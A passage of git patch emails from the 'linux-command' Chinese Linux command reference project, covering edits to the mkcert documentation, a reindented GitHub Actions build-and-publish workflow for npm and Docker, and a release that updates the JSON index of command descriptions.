来生成证书. +-pkcs12 # 生成一个 ".p12" PKCS #12 文件，也可以被识别为 ".pfx" 文件, + # 包含 cert 和 key for legacy applications. +-csr CSR # 生成一个给予 CSR（证书签名申请） 的证书。 + # 与除了 -install 和 -cert-file 以外的其它所以 flag 和参数冲突！ ``` [SSL 证书 什么是CSR？-常见问题-文档中心-腾讯云](https://cloud.tencent.com/document/product/400/5367) @@ -169,7 +152,7 @@ scoop install mkcert ### 例如 -```zsh +```bash mkcert -key-file key.pem -cert-file cert.pem example.com *.example.com ``` @@ -177,7 +160,7 @@ mkcert -key-file key.pem -cert-file cert.pem example.com *.example.com 用下面这种方式 `mkcert` 会生成一个 S/MIME 证书： -```zsh +```bash mkcert filippo@example.com ``` @@ -193,7 +176,7 @@ mkcert filippo@example.com Node 不使用 system root store，所以它不会自动接受 `mkcert` 证书。相反，你得设置 [`NODE_EXTRA_CA_CERTS`](https://nodejs.org/api/cli.html#cli_node_extra_ca_certs_file) 环境变量。 -```zsh +```bash export NODE_EXTRA_CA_CERTS="$(mkcert -CAROOT)/rootCA.pem" ``` @@ -208,11 +191,8 @@ CA 证书和它的 key 被存储在用户家目录的一个文件夹中。一般 安装 trust store 不需要 CA key（只要 CA），所以你可以导出 CA，并且使用 `mkcert` 来安装到其它机器上。 - 找到 `rootCA.pem` 文件，可以用 `mkcert -CAROOT` 找到对应目录。 - - 把它 copy 到别的机器上。 - - 设置 `\$CAROOT` 为 `rootCA.pem` 所在目录。 - - 运行 `mkcert -install`(arch linux 可以 `sudo trust anchor --store rootCA.pem`，其它发行版可以用自带的命令手动添加来信任 CA) 请千万记住 `mkcert` 是用于开发目的的，不建议用于生产，所以它不应该被用到用户终端上，并且你不应该导出或者共享 `rootCA-key.pem` 。 From 7263f1a8bc79492153c8863c09fcd73c9a77b4b1 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Wed, 9 Nov 2022 12:04:25 +0800 Subject: [PATCH 0580/1019] chore: update workflows config. --- .github/workflows/ci.yml | 274 +++++++++++++++++++-------------------- 1 file changed, 137 insertions(+), 137 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index c6d7c48564c..96960c8266d 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -6,141 +6,141 @@ on: jobs: build-deploy: - runs-on: ubuntu-20.04 + runs-on: ubuntu-latest steps: - - uses: actions/checkout@v3 - - uses: actions/setup-node@v3 - with: - node-version: 16 - - - name: Generate Contributors Images - uses: jaywcjlove/github-action-contributors@main - with: - filter-author: (renovate\[bot\]|renovate-bot|dependabot\[bot\]) - avatarSize: 42 - - - name: Build Linux Command - run: | - npm install - npm run dash - cp CONTRIBUTORS.svg .deploy - rm -rf .deploy/linux-command.docset - - - name: Create Tag - id: create_tag - uses: jaywcjlove/create-tag-action@v1.3.6 - with: - package-path: ./package.json - - - name: Get Tag Version - id: tag_version - uses: jaywcjlove/changelog-generator@v1.5.3 - - - name: Update Dash Feed - run: | - echo "${{steps.create_tag.outputs.versionNumber}}https://jaywcjlove.github.io/linux-command/linux-command.docset.tgz" > .deploy/linux-command-docset.xml - - - name: Deploy - uses: peaceiris/actions-gh-pages@v3 - with: - commit_message: '[${{steps.tag_version.outputs.tag}}] ${{ github.event.head_commit.message }}' - github_token: ${{ secrets.GITHUB_TOKEN }} - publish_dir: ./.deploy - user_name: github-actions[bot] - user_email: github-actions[bot]@users.noreply.github.com - - - name: Generate Changelog - id: changelog - uses: jaywcjlove/changelog-generator@v1.5.3 - with: - filter-author: (小弟调调™) - filter: (^[\s]+?[R|r]elease)|(^[R|r]elease) - - - name: Create Release - uses: ncipollo/release-action@v1 - if: steps.create_tag.outputs.successful - with: - artifacts: '.deploy/linux-command.docset.tgz' - token: ${{ secrets.GITHUB_TOKEN }} - name: ${{ steps.create_tag.outputs.version }} - tag: ${{ steps.create_tag.outputs.version }} - body: | - [![](https://img.shields.io/badge/Open%20in-unpkg-blue)](https://uiwjs.github.io/npm-unpkg/#/pkg/linux-command@${{steps.create_tag.outputs.versionNumber}}/file/README.md) [![npm bundle size](https://img.shields.io/bundlephobia/minzip/linux-command)](https://bundlephobia.com/result?p=linux-command@${{steps.create_tag.outputs.versionNumber}}) - - ```bash - npm i linux-command@${{steps.create_tag.outputs.versionNumber}} - ``` - - ${{ steps.changelog.outputs.compareurl }} - - ${{ steps.changelog.outputs.changelog }} - - - Document linux-command@${{ steps.changelog.outputs.tag }}: - https://raw.githack.com/jaywcjlove/linux-command/${{ steps.changelog.outputs.gh-pages-short-hash }}/index.html - - - ## Docker - - [![Docker Image Version (latest by date)](https://img.shields.io/docker/v/wcjiang/linux-command)](https://hub.docker.com/r/wcjiang/linux-command) [![Docker Image Size (latest by date)](https://img.shields.io/docker/image-size/wcjiang/linux-command)](https://hub.docker.com/r/wcjiang/linux-command) [![Docker Pulls](https://img.shields.io/docker/pulls/wcjiang/linux-command)](https://hub.docker.com/r/wcjiang/linux-command) - - 轻松通过 `docker` 部署 `linux-command` 网站。 - - ```bash - docker pull wcjiang/linux-command - ``` - - ```bash - docker run --name linux-command --rm -d -p 9665:3000 wcjiang/linux-command:latest - # Or - docker run --name linux-command -itd -p 9665:3000 wcjiang/linux-command:latest - ``` - - 在浏览器中访问以下 URL - - ```bash - http://localhost:9665/ - ``` - - - name: Push Npm - run: | - npm install @jsdevtools/npm-publish -g - npm-publish --token="${{ secrets.NPM_TOKEN }}" ./package.json - - # Create Docker Image - - name: Docker login - run: docker login -u ${{ secrets.DOCKER_USER }} -p ${{ secrets.DOCKER_PASSWORD }} - - - name: Build linux-command image - run: | - rm -rf .deploy/linux-command.docset.tgz - docker image build -t linux-command . - - - name: Tags & Push image(latest) - run: | - docker tag linux-command ${{ secrets.DOCKER_USER }}/linux-command:latest - docker push ${{ secrets.DOCKER_USER }}/linux-command:latest - - - name: Tags & Push image - if: steps.create_tag.outputs.successful - run: | - echo "outputs.tag - ${{ steps.changelog.outputs.version }}" - docker tag linux-command ${{ secrets.DOCKER_USER }}/linux-command:${{steps.changelog.outputs.version}} - docker push ${{ secrets.DOCKER_USER }}/linux-command:${{steps.changelog.outputs.version}} - - # Create Docker Image in Github - - name: Login to GitHub registry - run: echo ${{ github.token }} | docker login ghcr.io -u ${{ github.actor }} --password-stdin - - - name: Build docker image - run: docker build -t ghcr.io/jaywcjlove/linux-command:latest . - - - name: Publish to GitHub registry - run: docker push ghcr.io/jaywcjlove/linux-command:latest - - - name: Tag docker image (beta) and publish to GitHub registry - if: steps.create_tag.outputs.successful - run: | - echo "version: v${{ steps.changelog.outputs.version }}" - docker tag ghcr.io/jaywcjlove/linux-command:latest ghcr.io/jaywcjlove/linux-command:${{steps.changelog.outputs.version}} - docker push ghcr.io/jaywcjlove/linux-command:${{steps.changelog.outputs.version}} \ No newline at end of file + - uses: actions/checkout@v3 + - uses: actions/setup-node@v3 + with: + node-version: 16 + + - name: Generate Contributors Images + uses: jaywcjlove/github-action-contributors@main + with: + filter-author: (renovate\[bot\]|renovate-bot|dependabot\[bot\]) + avatarSize: 42 + + - name: Build Linux Command + run: | + npm install + npm run dash + cp CONTRIBUTORS.svg .deploy + rm -rf .deploy/linux-command.docset + + - name: Create Tag + id: create_tag + uses: jaywcjlove/create-tag-action@main + with: + package-path: ./package.json + + - name: Get Tag Version + id: tag_version + uses: jaywcjlove/changelog-generator@main + + - name: Update Dash Feed + run: | + echo "${{steps.create_tag.outputs.versionNumber}}https://jaywcjlove.github.io/linux-command/linux-command.docset.tgz" > .deploy/linux-command-docset.xml + + - name: Deploy + uses: peaceiris/actions-gh-pages@v3 + with: + commit_message: '[${{steps.tag_version.outputs.tag}}] ${{ github.event.head_commit.message }}' + github_token: ${{ secrets.GITHUB_TOKEN }} + publish_dir: ./.deploy + user_name: github-actions[bot] + user_email: github-actions[bot]@users.noreply.github.com + + - name: Generate Changelog + id: changelog + uses: jaywcjlove/changelog-generator@main + with: + filter-author: (小弟调调™) + filter: (^[\s]+?[R|r]elease)|(^[R|r]elease) + + - name: Create Release + uses: ncipollo/release-action@v1 + if: steps.create_tag.outputs.successful + with: + artifacts: '.deploy/linux-command.docset.tgz' + token: ${{ secrets.GITHUB_TOKEN }} + name: ${{ steps.create_tag.outputs.version }} + tag: ${{ steps.create_tag.outputs.version }} + body: | + [![](https://img.shields.io/badge/Open%20in-unpkg-blue)](https://uiwjs.github.io/npm-unpkg/#/pkg/linux-command@${{steps.create_tag.outputs.versionNumber}}/file/README.md) [![npm bundle size](https://img.shields.io/bundlephobia/minzip/linux-command)](https://bundlephobia.com/result?p=linux-command@${{steps.create_tag.outputs.versionNumber}}) + + ```bash + npm i linux-command@${{steps.create_tag.outputs.versionNumber}} + ``` + + ${{ steps.changelog.outputs.compareurl }} + + ${{ steps.changelog.outputs.changelog }} + + + Document linux-command@${{ steps.changelog.outputs.tag }}: + https://raw.githack.com/jaywcjlove/linux-command/${{ steps.changelog.outputs.gh-pages-short-hash }}/index.html + + + ## Docker + + [![Docker Image Version (latest by date)](https://img.shields.io/docker/v/wcjiang/linux-command)](https://hub.docker.com/r/wcjiang/linux-command) [![Docker Image Size (latest by date)](https://img.shields.io/docker/image-size/wcjiang/linux-command)](https://hub.docker.com/r/wcjiang/linux-command) [![Docker Pulls](https://img.shields.io/docker/pulls/wcjiang/linux-command)](https://hub.docker.com/r/wcjiang/linux-command) + + 轻松通过 `docker` 部署 `linux-command` 网站。 + + ```bash + docker pull wcjiang/linux-command + ``` + + ```bash + docker run --name linux-command --rm -d -p 9665:3000 wcjiang/linux-command:latest + # Or + docker run --name linux-command -itd -p 9665:3000 wcjiang/linux-command:latest + ``` + + 在浏览器中访问以下 URL + + ```bash + http://localhost:9665/ + ``` + + - name: Push Npm + run: | + npm install @jsdevtools/npm-publish -g + npm-publish --token="${{ secrets.NPM_TOKEN }}" ./package.json + + # Create Docker Image + - name: Docker login + run: docker login -u ${{ secrets.DOCKER_USER }} -p ${{ secrets.DOCKER_PASSWORD }} + + - name: Build linux-command image + run: | + rm -rf .deploy/linux-command.docset.tgz + docker image build -t linux-command . + + - name: Tags & Push image(latest) + run: | + docker tag linux-command ${{ secrets.DOCKER_USER }}/linux-command:latest + docker push ${{ secrets.DOCKER_USER }}/linux-command:latest + + - name: Tags & Push image + if: steps.create_tag.outputs.successful + run: | + echo "outputs.tag - ${{ steps.changelog.outputs.version }}" + docker tag linux-command ${{ secrets.DOCKER_USER }}/linux-command:${{steps.changelog.outputs.version}} + docker push ${{ secrets.DOCKER_USER }}/linux-command:${{steps.changelog.outputs.version}} + + # Create Docker Image in Github + - name: Login to GitHub registry + run: echo ${{ github.token }} | docker login ghcr.io -u ${{ github.actor }} --password-stdin + + - name: Build docker image + run: docker build -t ghcr.io/jaywcjlove/linux-command:latest . + + - name: Publish to GitHub registry + run: docker push ghcr.io/jaywcjlove/linux-command:latest + + - name: Tag docker image (beta) and publish to GitHub registry + if: steps.create_tag.outputs.successful + run: | + echo "version: v${{ steps.changelog.outputs.version }}" + docker tag ghcr.io/jaywcjlove/linux-command:latest ghcr.io/jaywcjlove/linux-command:${{steps.changelog.outputs.version}} + docker push ghcr.io/jaywcjlove/linux-command:${{steps.changelog.outputs.version}} \ No newline at end of file From e2b474d4728577802406a526c2bfacd7c4babf3f Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Wed, 9 Nov 2022 12:17:55 +0800 Subject: [PATCH 0581/1019] released v1.13.0 --- dist/data.json | 21 ++++++++++++++++++--- dist/data.min.json | 2 +- package.json | 2 +- 3 files changed, 20 insertions(+), 5 deletions(-) diff --git a/dist/data.json b/dist/data.json index 12c1d870beb..3f4d76a45a4 100644 --- a/dist/data.json +++ b/dist/data.json @@ -202,7 +202,7 @@ "bunzip2": { "n": "bunzip2", "p": "/bunzip2", - "d": "创一个bz2文件压缩包" + "d": "可解压缩.bz2格式的压缩文件。 " }, "bye": { "n": "bye", @@ -212,7 +212,7 @@ "bzcat": { "n": "bzcat", "p": "/bzcat", - "d": "解压缩指定的.bz2文件" + "d": "不解压，直接查看指定的.bz2文件" }, "bzcmp": { "n": "bzcmp", @@ -797,7 +797,7 @@ "fsck": { "n": "fsck", "p": "/fsck", - "d": "检查并且试图修复文件系统中的错误" + "d": "fsck（英文全拼：file system check）命令检查并且试图修复文件系统中的错误" }, "ftp": { "n": "ftp", @@ -924,6 +924,16 @@ "p": "/grub", "d": "多重引导程序grub的命令行shell工具" }, + "grub2-mkconfig": { + "n": "grub2-mkconfig", + "p": "/grub2-mkconfig", + "d": "生成 grub.cfg 配置文件。" + }, + "grub2-set-default": { + "n": "grub2-set-default", + "p": "/grub2-set-default", + "d": "设置系统默认的启动内核" + }, "gunzip": { "n": "gunzip", "p": "/gunzip", @@ -1519,6 +1529,11 @@ "p": "/mkbootdisk", "d": "可建立目前系统的启动盘" }, + "mkcert": { + "n": "mkcert", + "p": "/mkcert", + "d": "用来生成自签证书的工具" + }, "mkdir": { "n": "mkdir", "p": "/mkdir", diff --git a/dist/data.min.json b/dist/data.min.json index cf6329a9057..db1defc37d9 100644 --- a/dist/data.min.json +++ b/dist/data.min.json @@ -1 +1 @@ -{"7z":{"n":"7z","p":"/7z","d":"拥有极高压缩比的开源压缩软件。"},"ab":{"n":"ab","p":"/ab","d":"Apache服务器的性能测试工具"},"accept":{"n":"accept","p":"/accept","d":"指示打印系统接受发往指定目标打印机的打印任务"},"ack":{"n":"ack","p":"/ack","d":"比grep好用的文本搜索工具"},"ag":{"n":"ag","p":"/ag","d":"ack 的升级版，C语言编写，更快更人性化"},"alias":{"n":"alias","p":"/alias","d":"定义或显示别名。"},"apachectl":{"n":"apachectl","p":"/apachectl","d":"Apache服务器前端控制工具"},"apk":{"n":"apk","p":"/apk","d":"Alpine Linux 下的包管理工具"},"apropos":{"n":"apropos","p":"/apropos","d":"在 whatis 数据库中查找字符串"},"apt-get":{"n":"apt-get","p":"/apt-get","d":"Debian Linux发行版中的APT软件包管理工具"},"apt-key":{"n":"apt-key","p":"/apt-key","d":"管理Debian Linux系统中的软件包密钥"},"apt-sortpkgs":{"n":"apt-sortpkgs","p":"/apt-sortpkgs","d":"Debian Linux下对软件包索引文件进行排序的工具"},"aptitude":{"n":"aptitude","p":"/aptitude","d":"Debian Linux系统中软件包管理工具"},"ar":{"n":"ar","p":"/ar","d":"建立或修改备存文件，或是从备存文件中抽取文件"},"arch":{"n":"arch","p":"/arch","d":"显示当前主机的硬件架构类型"},"arj":{"n":"arj","p":"/arj","d":"用于创建和管理.arj压缩包"},"arp":{"n":"arp","p":"/arp","d":"arp 命令用于显示和修改 IP 到 MAC 转换表"},"arpd":{"n":"arpd","p":"/arpd","d":"收集免费ARP信息"},"arping":{"n":"arping","p":"/arping","d":"通过发送ARP协议报文测试网络"},"arptables":{"n":"arptables","p":"/arptables","d":"管理ARP包过滤规则表"},"arpwatch":{"n":"arpwatch","p":"/arpwatch","d":"监听网络上ARP的记录"},"as":{"n":"as","p":"/as","d":"汇编语言编译器"},"at":{"n":"at","p":"/at","d":"在指定时间执行一个任务"},"atop":{"n":"atop","p":"/atop","d":"监控Linux系统资源与进程的工具"},"atq":{"n":"atq","p":"/atq","d":"列出当前用户的at任务列表"},"atrm":{"n":"atrm","p":"/atrm","d":"删除待执行任务队列中的指定任务"},"awk":{"n":"awk","p":"/awk","d":"文本和数据进行处理的编程语言"},"axel":{"n":"axel","p":"/axel","d":"多线程下载工具"},"badblocks":{"n":"badblocks","p":"/badblocks","d":"查找磁盘中损坏的区块"},"base64":{"n":"base64","p":"/base64","d":"base64 编码/解码文件或标准输入输出"},"basename":{"n":"basename","p":"/basename","d":"打印目录或者文件的基本名称"},"batch":{"n":"batch","p":"/batch","d":"在系统不繁忙的时候执行定时任务"},"bc":{"n":"bc","p":"/bc","d":"算术操作精密运算工具"},"bg":{"n":"bg","p":"/bg","d":"将前台终端作业移动到后台运行"},"bind":{"n":"bind","p":"/bind","d":"显示或设置键盘按键与其相关的功能"},"blkid":{"n":"blkid","p":"/blkid","d":"查看块设备的文件系统类型、LABEL、UUID等信息"},"blockdev":{"n":"blockdev","p":"/blockdev","d":"从命令行调用区块设备控制程序"},"bmodinfo":{"n":"bmodinfo","p":"/bmodinfo","d":"显示给定模块的详细信息"},"break":{"n":"break","p":"/break","d":"结束for，while或until循环。"},"builtin":{"n":"builtin","p":"/builtin","d":"执行bash内建命令。"},"bunzip2":{"n":"bunzip2","p":"/bunzip2","d":"创一个bz2文件压缩包"},"bye":{"n":"bye","p":"/bye","d":"命令用于中断FTP连线并结束程序"},"bzcat":{"n":"bzcat","p":"/bzcat","d":"解压缩指定的.bz2文件"},"bzcmp":{"n":"bzcmp","p":"/bzcmp","d":"比较两个压缩包中的文件"},"bzdiff":{"n":"bzdiff","p":"/bzdiff","d":"直接比较两个.bz2压缩包中文件的不同"},"bzgrep":{"n":"bzgrep","p":"/bzgrep","d":"使用正则表达式搜索.bz2压缩包中文件"},"bzip2":{"n":"bzip2","p":"/bzip2","d":"将文件压缩成bz2格式"},"bzip2recover":{"n":"bzip2recover","p":"/bzip2recover","d":"恢复被破坏的.bz2压缩包中的文件"},"bzless":{"n":"bzless","p":"/bzless","d":"增强.bz2压缩包查看器"},"bzmore":{"n":"bzmore","p":"/bzmore","d":"查看bzip2压缩过的文本文件的内容"},"cal":{"n":"cal","p":"/cal","d":"显示当前日历或指定日期的日历"},"cancel":{"n":"cancel","p":"/cancel","d":"取消已存在的打印任务"},"cat":{"n":"cat","p":"/cat","d":"连接多个文件并打印到标准输出。"},"cd":{"n":"cd","p":"/cd","d":"切换用户当前工作目录。"},"cdrecord":{"n":"cdrecord","p":"/cdrecord","d":"Linux系统下光盘刻录功能命令"},"chage":{"n":"chage","p":"/chage","d":"修改帐号和密码的有效期限"},"chattr":{"n":"chattr","p":"/chattr","d":"用来改变文件属性"},"chcon":{"n":"chcon","p":"/chcon","d":"修改对象（文件）的安全上下文"},"chfn":{"n":"chfn","p":"/chfn","d":"用来改变finger命令显示的信息"},"chgrp":{"n":"chgrp","p":"/chgrp","d":"用来变更文件或目录的所属群组"},"chkconfig":{"n":"chkconfig","p":"/chkconfig","d":"检查或设置系统的各种服务"},"chmod":{"n":"chmod","p":"/chmod","d":"用来变更文件或目录的权限"},"chown":{"n":"chown","p":"/chown","d":"用来变更文件或目录的拥有者或所属群组"},"chpasswd":{"n":"chpasswd","p":"/chpasswd","d":"批量更新用户口令的工具"},"chroot":{"n":"chroot","p":"/chroot","d":"把根目录换成指定的目的目录"},"chsh":{"n":"chsh","p":"/chsh","d":"用来更换登录系统时使用的shell"},"cksum":{"n":"cksum","p":"/cksum","d":"检查文件的CRC是否正确"},"clear":{"n":"clear","p":"/clear","d":"清除当前屏幕终端上的任何信息"},"clock":{"n":"clock","p":"/clock","d":"用于调整 RTC 时间"},"clockdiff":{"n":"clockdiff","p":"/clockdiff","d":"检测两台linux主机的时间差"},"cmp":{"n":"cmp","p":"/cmp","d":"比较两个文件是否有差异"},"col":{"n":"col","p":"/col","d":"过滤控制字符"},"colrm":{"n":"colrm","p":"/colrm","d":"删除文件中的指定列"},"comm":{"n":"comm","p":"/comm","d":"按行比较两个已排序的文件。"},"command":{"n":"command","p":"/command","d":"调用并执行指定的命令"},"compress":{"n":"compress","p":"/compress","d":"使用Lempress-Ziv编码压缩数据文件"},"consoletype":{"n":"consoletype","p":"/consoletype","d":"输出已连接的终端类型"},"continue":{"n":"continue","p":"/continue","d":"结束本次循环，继续执行下一个for，while或until循环。"},"convertquota":{"n":"convertquota","p":"/convertquota","d":"把老的配额文件转换为新的格式"},"cp":{"n":"cp","p":"/cp","d":"将源文件或目录复制到目标文件或目录中"},"cpio":{"n":"cpio","p":"/cpio","d":"用来建立、还原备份档的工具程序"},"crontab":{"n":"crontab","p":"/crontab","d":"提交和管理用户的需要周期性执行的任务"},"csplit":{"n":"csplit","p":"/csplit","d":"将一个大文件分割成小的碎片文件"},"cu":{"n":"cu","p":"/cu","d":"用于连接另一个系统主机"},"cupsdisable":{"n":"cupsdisable","p":"/cupsdisable","d":"停止指定的打印机"},"cupsenable":{"n":"cupsenable","p":"/cupsenable","d":"启动指定的打印机"},"curl":{"n":"curl","p":"/curl","d":"利用URL规则在命令行下工作的文件传输工具"},"cut":{"n":"cut","p":"/cut","d":"连接文件并打印到标准输出设备上"},"date":{"n":"date","p":"/date","d":"显示或设置系统时间与日期"},"dc":{"n":"dc","p":"/dc","d":"任意精度计算器"},"dd":{"n":"dd","p":"/dd","d":"复制文件并对原文件的内容进行转换和格式化处理"},"declare":{"n":"declare","p":"/declare","d":"声明变量，设置或显示变量的值和属性。"},"depmod":{"n":"depmod","p":"/depmod","d":"分析可载入模块的相依性"},"df":{"n":"df","p":"/df","d":"显示磁盘的相关信息"},"dhclient":{"n":"dhclient","p":"/dhclient","d":"动态获取或释放IP地址"},"dhcpd":{"n":"dhcpd","p":"/dhcpd","d":"运行DHCP服务器"},"dhcrelay":{"n":"dhcrelay","p":"/dhcrelay","d":"使用dhcrelay命令可以提供中继DHCP和BOOTP请求"},"diff":{"n":"diff","p":"/diff","d":"比较给定的两个文件的不同"},"diff3":{"n":"diff3","p":"/diff3","d":"比较3个文件不同的地方"},"diffstat":{"n":"diffstat","p":"/diffstat","d":"显示diff命令输出信息的柱状图"},"dig":{"n":"dig","p":"/dig","d":"域名查询工具"},"dircolors":{"n":"dircolors","p":"/dircolors","d":"置ls命令在显示目录或文件时所用的色彩"},"dirname":{"n":"dirname","p":"/dirname","d":"去除文件名中的非目录部分"},"dirs":{"n":"dirs","p":"/dirs","d":"显示目录堆栈。"},"disown":{"n":"disown","p":"/disown","d":"从当前的shell中移除作业。"},"dmesg":{"n":"dmesg","p":"/dmesg","d":"显示Linux系统启动信息"},"dmidecode":{"n":"dmidecode","p":"/dmidecode","d":"在Linux系统下获取有关硬件方面的信息"},"dnf":{"n":"dnf","p":"/dnf","d":"新一代的RPM软件包管理器"},"dnsdomainname":{"n":"dnsdomainname","p":"/dnsdomainname","d":"定义DNS系统中FQDN名称的域名"},"domainname":{"n":"domainname","p":"/domainname","d":"显示和设置系统的NIS域名"},"dos2unix":{"n":"dos2unix","p":"/dos2unix","d":"将DOS格式文本文件转换成Unix格式"},"dpkg-deb":{"n":"dpkg-deb","p":"/dpkg-deb","d":"Debian Linux下的软件包管理工具"},"dpkg-divert":{"n":"dpkg-divert","p":"/dpkg-divert","d":"Debian Linux中创建并管理一个转向列表"},"dpkg-preconfigure":{"n":"dpkg-preconfigure","p":"/dpkg-preconfigure","d":"Debian Linux中软件包安装之前询问问题"},"dpkg-query":{"n":"dpkg-query","p":"/dpkg-query","d":"Debian Linux中软件包的查询工具"},"dpkg-reconfigure":{"n":"dpkg-reconfigure","p":"/dpkg-reconfigure","d":"Debian Linux中重新配制一个已经安装的软件包"},"dpkg-split":{"n":"dpkg-split","p":"/dpkg-split","d":"Debian Linux中将大软件包分割成小包"},"dpkg-statoverride":{"n":"dpkg-statoverride","p":"/dpkg-statoverride","d":"Debian Linux中覆盖文件的所有权和模式"},"dpkg-trigger":{"n":"dpkg-trigger","p":"/dpkg-trigger","d":"Debian Linux下的软件包触发器"},"dpkg":{"n":"dpkg","p":"/dpkg","d":"Debian Linux系统上安装、创建和管理软件包"},"dris":{"n":"dris","p":"/dris","d":"显示和清空目录堆栈中的内容"},"dstat":{"n":"dstat","p":"/dstat","d":"通用的系统资源统计工具"},"du":{"n":"du","p":"/du","d":"显示每个文件和目录的磁盘使用空间"},"dump":{"n":"dump","p":"/dump","d":"用于备份ext2或者ext3文件系统"},"e2fsck":{"n":"e2fsck","p":"/e2fsck","d":"用于检查第二扩展文件系统的完整性"},"e2label":{"n":"e2label","p":"/e2label","d":"设置第二扩展文件系统的卷标"},"echo":{"n":"echo","p":"/echo","d":"输出指定的字符串或者变量"},"ed":{"n":"ed","p":"/ed","d":"单行纯文本编辑器"},"edquota":{"n":"edquota","p":"/edquota","d":"用于编辑指定用户或工作组磁盘配额"},"egrep":{"n":"egrep","p":"/egrep","d":"在文件内查找指定的字符串"},"eject":{"n":"eject","p":"/eject","d":"用来退出抽取式设备"},"elinks":{"n":"elinks","p":"/elinks","d":"纯文本界面的WWW浏览器"},"elm":{"n":"elm","p":"/elm","d":"纯文本邮件客户端程序"},"emacs":{"n":"emacs","p":"/emacs","d":"功能强大的全屏文本编辑器"},"enable":{"n":"enable","p":"/enable","d":"启动或禁用shell内建命令"},"env":{"n":"env","p":"/env","d":"显示系统中已存在的环境变量"},"ethtool":{"n":"ethtool","p":"/ethtool","d":"显示或修改以太网卡的配置信息"},"ex":{"n":"ex","p":"/ex","d":"启动vim编辑器的ex编辑模式"},"exec":{"n":"exec","p":"/exec","d":"调用并执行指定的命令"},"exit":{"n":"exit","p":"/exit","d":"退出当前的shell。"},"expand":{"n":"expand","p":"/expand","d":"将文件的制表符转换为空白字符"},"export":{"n":"export","p":"/export","d":"为shell变量或函数设置导出属性。"},"exportfs":{"n":"exportfs","p":"/exportfs","d":"管理NFS共享文件系统列表"},"expr":{"n":"expr","p":"/expr","d":"一款表达式计算工具"},"false":{"n":"false","p":"/false","d":"返回状态为失败。"},"fc":{"n":"fc","p":"/fc","d":"显示历史列表中的命令或修改指定的历史命令并执行。"},"fdisk":{"n":"fdisk","p":"/fdisk","d":"查看磁盘使用情况和磁盘分区"},"fg":{"n":"fg","p":"/fg","d":"将后台作业移动到前台终端运行"},"fgrep":{"n":"fgrep","p":"/fgrep","d":"为文件搜索文字字符串"},"file":{"n":"file","p":"/file","d":"用来探测给定文件的类型"},"find":{"n":"find","p":"/find","d":"在指定目录下查找文件"},"findfs":{"n":"findfs","p":"/findfs","d":"标签或UUID查找文件系统"},"finger":{"n":"finger","p":"/finger","d":"用于查找并显示用户信息"},"firewall-cmd":{"n":"firewall-cmd","p":"/firewall-cmd","d":"Linux上新用的防火墙软件，跟iptables差不多的工具"},"fishshell":{"n":"fishshell","p":"/fishshell","d":"比 bash 更好用的 shell"},"fmt":{"n":"fmt","p":"/fmt","d":"读取文件后优化处理并输出"},"fold":{"n":"fold","p":"/fold","d":"控制文件内容输出时所占用的屏幕宽度"},"fping":{"n":"fping","p":"/fping","d":"fping检测主机是否存在"},"free":{"n":"free","p":"/free","d":"显示内存的使用情况"},"fsck":{"n":"fsck","p":"/fsck","d":"检查并且试图修复文件系统中的错误"},"ftp":{"n":"ftp","p":"/ftp","d":"用来设置文件系统相关功能"},"ftpcount":{"n":"ftpcount","p":"/ftpcount","d":"显示目前已FTP登入的用户人数"},"ftpshut":{"n":"ftpshut","p":"/ftpshut","d":"在指定的时间关闭FTP服务器"},"ftptop":{"n":"ftptop","p":"/ftptop","d":"proftpd服务器的连接状态"},"ftpwho":{"n":"ftpwho","p":"/ftpwho","d":"显示当前每个ftp会话信息"},"fuser":{"n":"fuser","p":"/fuser","d":"使用文件或文件结构识别进程"},"gcc":{"n":"gcc","p":"/gcc","d":"基于C/C++的编译器"},"gcov":{"n":"gcov","p":"/gcov","d":"测试程序的代码覆盖率的工具"},"gdb":{"n":"gdb","p":"/gdb","d":"功能强大的程序调试器"},"get_module":{"n":"get_module","p":"/get_module","d":"获取Linux内核模块的详细信息"},"getenforce":{"n":"getenforce","p":"/getenforce","d":"显示当前SELinux的应用模式，是强制、执行还是停用"},"getsebool":{"n":"getsebool","p":"/getsebool","d":"查询SElinux策略内各项规则的布尔值"},"git":{"n":"git","p":"/git","d":"是目前世界上最先进的分布式版本控制系统"},"gpasswd":{"n":"gpasswd","p":"/gpasswd","d":"Linux下工作组文件的管理工具"},"gpm":{"n":"gpm","p":"/gpm","d":"提供文字模式下的滑鼠事件处理"},"grep":{"n":"grep","p":"/grep","d":"强大的文本搜索工具"},"groupadd":{"n":"groupadd","p":"/groupadd","d":"用于创建一个新的工作组"},"groupdel":{"n":"groupdel","p":"/groupdel","d":"用于删除指定的工作组"},"groupmems":{"n":"groupmems","p":"/groupmems","d":"管理用户主要组的成员"},"groupmod":{"n":"groupmod","p":"/groupmod","d":"更改群组识别码或名称"},"groups":{"n":"groups","p":"/groups","d":"打印指定用户所在组的名称。"},"grpck":{"n":"grpck","p":"/grpck","d":"用于验证组文件的完整性"},"grpconv":{"n":"grpconv","p":"/grpconv","d":"用来开启群组的投影密码"},"grpunconv":{"n":"grpunconv","p":"/grpunconv","d":"用来关闭群组的投影密码"},"grub":{"n":"grub","p":"/grub","d":"多重引导程序grub的命令行shell工具"},"gunzip":{"n":"gunzip","p":"/gunzip","d":"用来解压缩文件"},"gzexe":{"n":"gzexe","p":"/gzexe","d":"用来压缩可执行文件"},"gzip":{"n":"gzip","p":"/gzip","d":"用来压缩文件"},"halt":{"n":"halt","p":"/halt","d":"关闭正在运行的Linux操作系统"},"hdparm":{"n":"hdparm","p":"/hdparm","d":"显示与设定硬盘的参数"},"head":{"n":"head","p":"/head","d":"显示文件的开头部分。"},"help":{"n":"help","p":"/help","d":"该命令是bash内建命令，用于显示bash内建命令的帮助信息。"},"hexdump":{"n":"hexdump","p":"/hexdump","d":"显示文件十六进制格式"},"history":{"n":"history","p":"/history","d":"显示或操作历史列表。"},"host":{"n":"host","p":"/host","d":"常用的分析域名查询工具"},"hostid":{"n":"hostid","p":"/hostid","d":"显示当前主机的十六进制数字标识。"},"hostname":{"n":"hostname","p":"/hostname","d":"显示和设置系统的主机名"},"hostnamectl":{"n":"hostnamectl","p":"/hostnamectl","d":"查询或更改系统主机名"},"hping3":{"n":"hping3","p":"/hping3","d":"测试网络及主机的安全"},"htdigest":{"n":"htdigest","p":"/htdigest","d":"Apache服务器内置工具"},"htop":{"n":"htop","p":"/htop","d":"[非内部命令]一个互动的进程查看器，可以动态观察系统进程状况